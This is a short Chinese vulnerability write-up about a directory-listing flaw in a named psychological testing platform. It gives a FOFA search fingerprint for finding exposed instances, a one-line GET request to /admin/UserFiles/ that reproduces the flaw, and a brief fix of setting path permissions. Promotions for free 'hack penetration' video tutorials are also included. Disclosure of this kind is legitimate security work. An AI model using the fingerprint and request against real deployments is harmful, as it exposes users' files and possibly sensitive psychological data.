SRC-记一处目录遍历

目录

安徽阳光心理测量平台目录遍历

FOFA指纹

漏洞复现

修复方案

                                   

                           hack渗透视频教程,扫码免费领


安徽阳光心理测量平台目录遍历

FOFA指纹

title="心理测量平台"

SRC-记一处目录遍历_第1张图片

漏洞复现

路由后拼接/admin/UserFiles/

GET /admin/UserFiles/ HTTP/1.1
Host: {{Hostname}}

SRC-记一处目录遍历_第2张图片

修复方案

针对路径设定对应权限

                                   

                           hack渗透视频教程,扫码免费领

SRC-记一处目录遍历_第3张图片

SRC-记一处目录遍历_第4张图片

你可能感兴趣的:(实纪实战,安全,网络,网络安全,web安全)